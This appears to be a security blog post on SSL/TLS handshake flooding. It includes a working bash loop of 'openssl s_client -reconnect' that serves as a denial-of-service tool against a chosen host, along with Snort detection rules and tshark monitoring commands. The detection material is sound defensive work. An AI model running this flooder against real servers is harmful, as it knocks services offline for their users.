SSL negotiation flooder via curl

One of the pit falls with SSL is the ability to flood SSL negotiation attempts and not execute anything against the Application layer. Let's backup and see where  SSL happens at.

Layer5

And the application is not aware of this, since the SSL ( aka Transport Layer Security).

So the purpose of ssl/tls  negotiation flooding is to hammer the server at L5, but not request any data. What this does is to drive the server process and cpu high, but makes no requests or attacks at the application layer, and these numerous bogus request was bandwidth and IO.

So since we don't hit the Layer7-App, nothing is trigger to indicate this attack, causing the basic SysAdmins to have no clue they are under attack, without some other means.

A few tools exist that does these attack as a proof-of-concept, are available at  http://www.thc.org/ 

You can research that link for more details. The site has well written information for the InfoSec community.

This simple bash scripts does about the same thing and depends on the openssl application.

#!/bin/bash
#
#

#rev 1.0

#  ssl  negotiation flooding & generation via curl
#
#    SSL neg flood DoS tool
#    Basically this tool loops the  ssl neg and request no HTTP traffic
#
#
if [ ! $1 ]; then
            echo " Usage : $0  <delay in seconds between requests>  < The #of requests to execute>  <server or ip_address> <port> "
            echo ""
            echo "Example  $0 5 10 1.1.1.1 443 "
            echo ""

            exit 1
fi

#
i="0"

#
###set -xv
COUNTER=$2
MAX=999999999999999999999999999999999

if  (( $2 >= $MAX )) ; then

        echo "   "
        echo "Please make a request range of $MAX  or less"
        echo "   "
else


while [ $i -lt $COUNTER ] ;

  do  echo R | openssl s_client -host $3 -port $4 -reconnect
  echo "   "
  echo " Request # $i "
  echo "   "
  i=$[$i + 1]

#   let "COUNTER += 1"

done

fi

#

So the object of this attack is to make bogus repetitive request  via the ssl handshake & negotiation and never request any application data.  Most firewalls will not detect this unless they have UTM features enabled.

SNORT can detect these types of events using a rule similar to the following;

alert tcp $EXTERNAL_NET any -> $HOME_NET [443,465,636,990,992,993,994,995,] (msg:"DoS Detection for various SSL ports"; flow:established,to_server; ssl_state:!client_hello; content:"|16 03 00|"; depth:3; detection_filter:track by_src,count 50, seconds 5; reference:url,www.thc.org/thc-ssl-dos/; classtype:attempted-dos; sid:205001; rev:1; )

and for tls 1.0

 

alert tcp $EXTERNAL_NET any -> $HOME_NET [443,465,636,990,992,993,994,995,] (msg:"DoS Detection for various TLS 1.0 ports"; flow:established,to_server; ssl_state:!client_hello; content:"|16 03 01|"; depth:3; detection_filter:track by_src,count 50, seconds 5; reference:url,www.thc.org/thc-ssl-dos/; classtype:attempted-dos; sid:205002; rev:1; )

Adjust the count and seconds to tweak the trigger for these rules. You can use wireshrk/tshark to monitor the numbers of ssl handshake with something similar to the following

tshark

tshark -q -i eth0 -z "io,stat,1,COUNT(ssl.handshake)ssl.handshake"

or

tshark -q -i eth0 -z "io,stat,1,COUNT(ssl.handshake.ciphersuite)ssl.handshake.ciphersuite"


And monitor the number of SSL handshakes over a period of 1 even 5 secs if you  use the rules above as-is.


Ken Felix
Freelance Network/Security Engineer
kfelix  -at- hyperfeed -dot- com